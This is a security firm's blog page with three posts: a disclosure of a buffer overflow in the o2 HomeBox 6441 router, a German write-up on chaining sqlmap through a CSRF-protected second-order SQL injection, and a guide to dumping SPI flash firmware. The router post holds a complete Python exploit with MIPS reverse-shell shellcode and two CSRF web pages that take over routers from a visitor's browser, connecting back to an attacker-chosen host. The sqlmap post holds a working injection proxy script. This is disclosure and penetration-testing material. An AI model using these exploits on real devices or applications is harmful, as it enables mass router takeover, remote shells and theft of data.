Monday, March 11, 2019

Exploitation of a Vanilla Buffer Overflow in the o2 HomeBox 6441 Router (unauthenticated) - A Step by Step Abuse Guide


Introduction

We regularly investigate the security of Customer Premises Equipment (CPEs), also known as SOHO routers. One important aspect of these investigations is to check for memory corruption vulnerabilities like buffer overflows. While these types of bugs were discovered in 1996[1] and secure coding practices as well as exploitation mitigation techniques should render these issues to a vanishing phenomenon, we still encounter them on today’s devices.
In August 2018, NSIDE investigated the O2 HomeBox 6441 in terms of memory corruption vulnerabilities and discovered a buffer overflow in the embedded webserver. Most of the time NSIDE doesn't publish such findings, because we are bound by NDAs


The Vulnerability

Usually all parameters that are accepted by the webserver get sanitized and their length is checked or ceiled against/to an upper bound. The parameter in question however is a synchronizer token that is sent automatically by the browser of a user. Maybe this is the reason why the value was not sanitized before it is used, as regular users cannot influence this token in a normal interaction. Malicious users (attackers) however may look for memory corruptions in these very locations.
The identified parameter is called _tn and is evaluated, if sent to the /cgi/ path of the webserver. We minimized the required request to the following one:

GET /cgi/?_tn=OVERFLOW HTTP/1.1
Host: 192.168.1.1

The vulnerability was discovered using fuzzing. If the length of the
_tn token exceeds 153 bytes, the webserver will crash. Such a behavior strongly suggests that an overflow of the parameter occurred. However it remains uncertain where the overflow occurred and what action was conducted at this point. Often an overwritten pointer is the cause of such behavior, which we confirmed in this instance. The severity of such a pointer overwrite depends on whether data is loaded from the pointer, it is stored to the pointer, or in the worst case, the pointer is loaded into the program counter.

Investigation of the Vulnerability

One approach to debug an issue like this is to “just break the thing and look at the pieces”. As NSIDE had debug access to the device, it was found most informative to trigger the overflow and look at the produced stack trace after the crash occurred. So after sending many A’s for the affected parameter, the following stack trace could be observed on the device by issuing dmesg:




41 is the binary representation of A. The information that can be gathered from the screenshot confirms an attacker’s hope, that the program counter which resides in the EPC register in this MIPS architecture can be overwritten by 0x41414141 or any other value which is indeed the most critical of all options.
The overflow not only allows to divert the execution flow to a location controlled by the attacker, but apparently also allows to control huge portions of the stack.
Knowing that most CPEs (or routers) are running older versions of Linux, the next step was to investigate which countermeasures for such vulnerabilities were in place. Fortunately for us ASLR was only used partially (only the stack location is randomized, the heap resides at a static location) and NX was not used at all (as heap and stack are marked executable) in this particular device:




This means that an attacker may inject shellcode to the heap or the stack and execute it by overwriting EIP with the address of the shellcode to achieve remote code execution (RCE).
As we are always dedicated to get the most out of a vulnerability and to use it in our Red Team Engagements for example, a weaponized exploit was created to also demonstrate the real impact of this and to underline the importance of a solid patch in the near future.

Exploiting the Vulnerability

A first step to a successful exploit was to identify a location within the address space of the program where shellcode could be placed and called reliably. As the stack is randomized by ASLR, the heap was found to be the more interesting target for shellcode. NSIDE changed the request to the following one:

GET /cgi/?_tn=’A’*157 HTTP/1.1
Host: 192.168.1.1
‘B’*1000

The request was sent to the server and searched within the heap of the webserver using GDB in order to find addresses where the A’s (0x41) and B’s (0x42) reside.




The whole GET request was successfully found at address 0x448305, starting with 0x474554 (Hex value for GET).
As the heap is not affected by ASLR, shellcode can reliably be placed and called at 0x4483c8 (Where the B’s start). This means exploitation should be possible by substituting the B’s with suitable shellcode and trigger the overflow by sending A for 153 times followed by the address 0x4483c8 (in Hex: \x41’ * 153 + ’\x00\x44\x83\xc8).
But there is one problem left: The address within the heap contains a leading null byte. Unfortunately the vulnerability emerges from an unsafe string operation, resulting in the string being terminated as soon as a null byte is processed.
During some unsuccessful attempts with return oriented programming (ROP[2]) an odd behavior was observed. Apparently the string operation did not copy the supplied string 1:1. Sending a string of 162 A’s followed by “BCD” resulted in this peculiar representation on the stack:




So apparently the end of the string appeared twice, separated by a null byte. The copy functionality hence produced ABCD\x00BCD from the input ABCD. This was a lucky finding and enabled RCE (Remote Code Execution).
The final exploit looked close to this:

GET /cgi/?_tn= 'A' * 153 + '\x44\x83\xcc' HTTP/1.1
Host: 192.168.1.1
SHELLCODE

Due to the minimal different request, the address of the shellcode was slightly shifted to 0x4483cc. As shellcode, a reverse shell was submitted and was found to be working as depicted in the following screenshot.



Exploit code here:
#!/usr/bin/env python3

import struct, socket, sys, telnetlib
from time import sleep

def interactive(sock, production = True):
        if production:
                sock.send(b'uname -a;id;echo "\n"\n')
                sleep(.1)
        t = telnetlib.Telnet()
        t.sock = sock
        t.interact()
 
if(len(sys.argv) < 5) :
        print('[-] Usage : pwn.py remote_ip remote_port local_ip local_port')
        print('[!] ATTENTION: Arguments have to be valid at first attempt, further attempts all trigger the values sent at first attempt')

        sys.exit(-1)

host = sys.argv[1]
port = int(sys.argv[2])
rev_port = int(sys.argv[4])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s1.settimeout(2)

print('[+] Starting listener on 0.0.0.0:' + str(rev_port) + '\n')
s1.bind(("0.0.0.0", rev_port))
s1.listen(2)

try :
 s.connect((host, port))
except :
 print('[-] Unable to connect')
 sys.exit(-1)

print('[+] Connected to remote host')

#ip to bytes for the shellcode

ip = sys.argv[3].split('.')
a = bytes([int(ip[0])])
b = bytes([int(ip[1])])
c = bytes([int(ip[2])])
d = bytes([int(ip[3])])
rev_port = struct.pack('>H',rev_port)

shellcode = b'\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21'
shellcode += b'\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01'
shellcode += b'\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff'
shellcode += b'\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e' + rev_port
shellcode += b'\x35\xce' + rev_port + b'\xaf\xae\xff\xe4\x3c\x0e' + a + b + b'\x35'
shellcode += b'\xce' + c + d + b'\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c'
shellcode += b'\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01'
shellcode += b'\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff'
shellcode += b'\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24'
shellcode += b'\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06'
shellcode += b'\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff'
shellcode += b'\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0'
shellcode += b'\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf'
shellcode += b'\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01'
shellcode += b'\x01\x0c'

print('[+] Pushing shellcode and returning to heap\n')

payload = b'A' * 153 + b'\x44\x83\xcc'  # return to 0x4483cc on the heap

request = b'GET /cgi/?_tn=' + payload + b' HTTP/1.1\r\n'
request += b'Host: 192.168.1.1\r\n'
request += shellcode + b'\r\n\r\n\r\n'
s.send(request)

sleep(.5)
(client, (ip, port)) = s1.accept()
print('[+] Incoming connection from: ' + ip + ':' + str(port) + '\n')

interactive(client)


The exploit was also found to be working remotely on CPEs whose owners exposed the webserver to the Internet by enabling the remote management capability. At the time of the test almost 2000 of these vulnerable routers were found on Shodan only, exposing their webserver to the Internet. But why settle for this number if we could also be…

Smashing the concealed Stack by Redirection for Fun and Profit

To further expand the number of potential targets, a technique called cross site request forgery (CSRF[3]) came to mind. An attacker that is able to convince his victim to visit a website under his control is able to send requests from their browser to other websites. As the router does not implement any countermeasure against this type of attack and the exploited overflow was quite simple, this attack seemed feasible. However certain constraints had to be met:
1.      As the request would be sent by the browser of the victim, GET parameters in the URL will get URL encoded if they contain special characters.
2.      The request itself is rather malformed and has to contain shellcode which consists mainly of non ASCII characters.
The second constraint could be met quite easily, as XMLHttpRequest(XHR) allows to submit all characters in C encoding if submitted as POST parameter.
The first constraint however was a bit harder to meet. As no special characters could be placed within the address of the shellcode, a robust location for the shellcode had to be found with an alphanumeric address (the existing exploit uses the address 0x4483c8 which is not alphanumeric; browsers would send this address as D%83%c8 or even D%25%8d%25%c8).
After another round of investigation, we realized that the webserver was using not one, but eight threads for processing incoming requests, each having its own separate address space on the heap.
The plan to exploit this would be to flood the webserver with POST requests containing the shellcode. Hopefully one thread would be writing the shellcode to an alphanumerical address from where we can execute it with another GET request as with the normal exploit.
The following proof of concept (POC) was created to evaluate whether one of the eight threads would write to an alphanumerical location within the address space.





<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/o2.box\/cgi\/", true);
 var body = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";
 var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      for (i = 0; i < 100; i++) {
        submitRequest();
      }
    </script>
  </body>
</html>


By visiting this website, the browser is sending 100 POST requests containing many A’s to the webserver of the router. After this interaction the heap of the webserver was inspected.
The POST request was identified at 0x448300, 0x44aad0, 0x44d2a0, 0x44fa70, 0x452240, 0x454a10, 0x4571e0 and 0x4599b0.
Therefor the addresses 0x452240, 0x454a10 and 0x4571e0 seemed promising, as the other locations contain a none ASCII character in the middle (only characters 0x20-0x7e are printable ASCII characters). Upon inspection of the first address we indeed recognized A’s that could be addressed with ASCII characters:




0x23 corresponds to # and will not be sent by browsers, but the $ character (0x24) will be. Thus the address 0x452424 (E$$) will be used as location for the shellcode. The proof of concept has only to be modified slightly to complete the attack.

  1. The A’s of the 100 POST requests have to contain the shellcode (after 189 characters of padding).
  2. A 101st request has to trigger the overflow and induce the execution of the shellcode.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/o2.box\/cgi\/", true);
 var body = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x05\x39\x35\xce\x05\x39\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\x01\xd8\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\r\n";
 var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      for (i = 0; i < 100; i++) {
        submitRequest();
      }
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "http:\/\/o2.box\/cgi\/?_tn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE$$", true);
 xhr.send();
    </script>
  </body>
</html>

The used shellcode injects a reverse shell which connects to 192.168.1.216 on port 1337 into memory and gets executed successfully. This exact JavaScript code works for Firefox on Kali Linux. It might be necessary to slightly edit the script to support different operating systems or browsers (as the shellcode might reside in slightly different locations due to headers that the browser sends for the 100 POST requests).
An attacker that is able to lure his victims to a website, or embed this JavaScript into advertisement banners would be able to take over these routers on a massive scale over the Internet.

The vulnerability was reported to the distributor and is fixed in the current version of the firmware. It was present in version 1.01.30 (and maybe older versions) of the O2 HomeBox 6441, manufactured by Arcadyan/Astoria. The vulnerability was not encountered in other products of Arcadyan/Astoria in the German market (Speedport, Easybox, etc.), but NSIDE cannot guarantee that the code was not used for other devices in general.




[1] ONE, Aleph. Smashing the stack for fun and profit. Phrack magazine, 1996, 7. Jg., Nr. 49, S. 14-16.
[2] SHACHAM, Hovav, et al. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86). In: ACM conference on Computer and communications security. 2007. S. 552-561.

Friday, August 24, 2018

Erweiterte Zustandsverfolgung für SQLMAP


Während eines Red Team Assessments bei eines unserer Kunden stand der Autor des Artikels zuletzt vor einer prinzipiell recht angenehmen Situation: in einer internen Webanwendung konnte er eine SQL Injection identifizieren, die ausnutzbar schien. Die Anwendung war relativ klein und nur für einen eingeschränkten Benutzerkreis zugänglich, aber laut Aussagen interner Dokumentation zusammen mit anderen, größeren Anwendungen für die Verwaltung unternehmenskritischer Daten zuständig. Also ein äußerst interessantes Angriffsziel für jemanden, der genau auf diese Daten aus wäre.

Um nun das Ziel des Tests zu erfüllen und an die sensiblen Daten zu kommen, musste die Schwachstelle ausgenutzt werden. Das beste Tool hierfür ist zweifelsohne sqlmap [1]. Es gab allerdings mehrere Herausforderungen beim Ausnutzen der Schwachstelle für sqlmap: zunächst handelte es sich um eine Second-Order Injection. Das bedeutet, dass man an einer Stelle der Webanwendung den Angriff (Injection) durchführt, aber das mögliche Ergebnis an einer anderen Stelle sieht. Diesen Fall kann sqlmap zum Glück mit `--second-order` noch gut abdecken. Als weiteres Hindernis verwendete die Anwendung CSRF-Tokens die pro Request neu erstellt wurden. Auch das hätte sqlmap noch in den Griff bekommen, mit `--csrf-url`.

Richtig problematisch wird es für sqlmap allerdings, wenn die Anwendung auch noch ihren aktuellen Zustand nachverfolgt und im Falle eines Requests, der vom aktuellen Zustand nicht möglich ist, die Aktion ablehnt. Konkret gesagt musste man in der Anwendung zunächst auf die Unterseite "Neu Hinzufügen" navigieren, damit die SQL Injection durchgeführt werden konnte. Anschließend wurde das Ergebnis der Anfrage in einem separaten Frame (Die Anwendung nutzte tatsächlich noch Framesets) geladen. Jede Einzelne der Anfragen benötigte ein CSRF-Token und zwar genau jenes, welches von der vorherigen Seite im Ablauf zur Verfügung gestellt wurde. Um dann eine neue Anfrage abzusetzen, musste zunächst wieder auf die Startseite navigiert werden (es gab einen Button "zurück"). Hierfür war kein CSRF-Token notwendig.


Wie exploitet man so etwas nun? Es handelte sich um eine boolean-blind SQL Injection, komplett manuelles Ausnutzen wäre also sehr zeitaufwendig geworden. Mit Python die Zustandsverfolgung zu scripten wäre kein Problem, aber die komplette Funktionalität von sqlmap nachzubauen oder neu zu schreiben wäre viel Aufwand gewesen. Also fiel die Wahl auf eine Kombination aus eigenem Script und sqlmap. Sqlmap definiert für individuellen Python-Code, der pro Request ausgeführt werden soll, dass ´--eval´ Flag. Hört sich zunächst passend an, aber wie bekommt man dann das CSRF-Token aus dem ausgeführten Python-Script in den Request der SQL Injection? Und wie bekommt man aus der Antwort auf diesen Request das Token in den Request zur "Second Order"-Seite?

Eine sehr einfache Lösung für das Problem, die vermutlich für jede vergleichbare Situation nützlich ist, ist eine Art Proxy-Anwendung die sich um alle Vor- und Nachbereitungen kümmert. In Python kann in wenigen Zeilen Code ein HTTP-Server aufgesetzt werden, der die Anfrage von sqlmap auf http://localhost:8000/ entgegen nimmt, an die verwundbare Anwendung weiterreicht und das Resultat als HTML ausgibt, um von sqlmap interpretiert zu werden. Das macht der folgende Code:


import BaseHTTPServer

import requests


def inject(val):

    return "<h2>Not implemented yet</h2>" # see below


class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):

        if not '?payload=' in self.path:

            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"

        else:

            payload = self.path.split('?payload=')[1]

            print("Injecting using payload {}".format(payload))

            html = inject(payload)


        self.send_response(200)

        self.send_header('Content-Type', "text/html")

        self.end_headers()

        self.wfile.write(html)


if __name__ == '__main__':

    server_class = BaseHTTPServer.HTTPServer

    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)

    try:

        httpd.serve_forever()

    except KeyboardInterrupt:

        pass

    httpd.server_close()


```
import BaseHTTPServer
import requests

def inject(val):
    return "<h2>Not implemented yet</h2>" # see below

class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if not '?payload=' in self.path:
            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"
        else:
            payload = self.path.split('?payload=')[1]
            print("Injecting using payload {}".format(payload))
            html = inject(payload)

        self.send_response(200)
        self.send_header('Content-Type', "text/html")
        self.end_headers()
        self.wfile.write(html)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

```

Startet man sqlmap nun mit folgenden Parametern, bekommt die `inject()` Methode bei jedem Request von sqlmap eine Anfrage mit den Daten die injiziert werden sollen.

```sqlmap -u "http://127.0.0.1:8000/?payload=*"```

Die `inject()` Methode kümmert sich dann um den ganzen Rest:


import requests


JID = '<INSERT YOUR SESSION ID HERE>'

URL_POST = 'https://some-vuln-webapp.intern/endpoint1'

URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'


def get_csrf_token(resp):

        return resp.text.split('name="CSRF" value="')[1].split('"')[0]


def inject(val):

        session = requests.Session()

        session.cookies.update({'JSESSIONID': JID})


        # "Startseite"

        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})


        # "Neu Hinzufuegen"

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})


        # Inject!

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})


        # Result

        csrf_token = get_csrf_token(resp)

        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')
```
import requests

JID = '<INSERT YOUR SESSION ID HERE>'
URL_POST = 'https://some-vuln-webapp.intern/endpoint1'
URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'

def get_csrf_token(resp):
        return resp.text.split('name="CSRF" value="')[1].split('"')[0]

def inject(val):
        session = requests.Session()
        session.cookies.update({'JSESSIONID': JID})

        # "Startseite"
        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})

        # "Neu Hinzufuegen"
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})

        # Inject!
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})

        # Result
        csrf_token = get_csrf_token(resp)
        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')

```

Das Ganze läuft nur in einem Thread, also für massenhafte Datenextraktion immer noch sehr, sehr langsam - war im konkreten Fall jedoch ausreichend. Anleitungen um einen solchen `BaseHTTPServer` mit Multi-Thread Unterstützung zu implementieren, finden sich aber zu Hauf im Netz.

Mit dem hier beschriebenen Trick sind sqlmap wirklich kaum noch Grenzen gesetzt. Viel Spaß beim nächsten Pentest!


[1] https://github.com/sqlmapproject/sqlmap

Monday, June 11, 2018

Dumping SPI Flash Memory of Embedded Devices

Introduction

While auditing the security of embedded devices we often face situations where the firmware of the system under test is either not publicly available or the vendor can’t provide it due to legal issues. Accessing the firmware gives a lot of insight on how the device actually works. Even in assessments, where scope is limited to Web Application Testing only, helpful information can be gathered by having access to the firmware.
This blog post depicts the general approach for retrieving the firmware from such devices by accessing the flash memory chip directly. Please note the provided information in this example is limited to the flash memory chip only, as the tested system cannot be disclosed due to legal constraints.

Accessing the hardware

After opening the housing of an embedded system the initial step is to identify integrated circuits (ICs) that are potential candidates for holding the firmware of the device. As this is highly device-specific the assumption here is that you already have acquired access to the bare PCB.

Identifying the chip

In the following we use the Spansion S25FL128 as an example, which is in broad use for home routers, cable modems and the likes.












 


RTFM (datasheet)

To understand how the integrated circuit communicates the next thing to do is looking up the datasheet. Most vendors provide detailed and freely available information about the package, pinout and protocol used by the chip.

Specification


General

 

Input and Outputs



In case of the Spansion S25FL128 the following information can be gathered from the datasheet:

  • SPI-like interface
  • 16-pin Small Outline package
  • can be powered with 3.3 Volts

Knowing the characteristics of the Spansion S25FL128 we are able to proceed with interfacing the chip in order to access and hopefully read its content.

Circuitry


The Spansion S25Fl128 [2] uses Serial Peripheral Interface bus (SPI), which is a synchronous serial communication interface that is used for short distance communication and often found in embedded systems.

SPI Master and Slave


As we are going to read/dump data from the Spansion S25Fl128 we act as bus master with the flash chip being a SPI slave.


 

In-System Programming

We are going to read the content while the Spansion S25Fl128 is still soldered on the board using a IC test clip such as the Pomona 5252:


















In general it’s recommended to desolder the integrated circuit from the board so that no other component can access it and therefore prevent us from actually dumping the memory. Although we might power other components as well that is a less time-consuming approach and should be tried first.

Pinout (16-pin, Small Outline package)

The following pinout details the bare minimum of mandatory connections (highlighted in red) needed to access the Spansion S25FL128.














As a rule of thumb pay attention to connecting all pins according to the datasheet and leave no pin floating.

SPI connections

In order to dump the content of the chip, we hookup the aforementioned seven pins to the Spansion S25Fl128 using a Raspberry Pi 3 according to the following table:




The Raspberry Pi 3 is a cheap system that supports SPI and even allows us to provide power to the Spansion S25Fl128. Of course you can make use of other dedicated SPI programming devices as well.

Dumping the firmware image


Flashrom

Using flashrom [1] we now try to dump the content of the chip using the SPI device (/dev/spidev0.0) provided by Raspberry Pi 3 as follows:
Note that we stated spispeed=8000 explicitly, which sets the SPI speed in kHz and was found to be the maximum speed the Raspberry Pi 3 can handle although your results may vary. This heavily reduces the amount of time needed to dump the entire flash content.
 
It can be seen from the output above that flashrom fails to identify the integrated circuit unambiguously. As we have identified the specific version in use beforehand we can provide flashrom with the relevant chip identifier using the command-line flag -c: 

 
It is highly recommended to dump the image multiple times to verify that the checksum stays the same, which normally indicates a successful read:

 

Readable Data

A quick look on the acquired firmware image suggests that we have valid data at hand and that this data is unencrypted. Because strings in the dump indicate that uboot is present:






 

Summary

This blog post tried to shed some light on the general approach to access SPI NOR flash memory that often can be found in embedded devices. It might be followed by a complete walkthrough of an analysis in the future.

Resources and Links

[1] https://www.flashrom.org/Flashrom
[2] Spansion S25FL128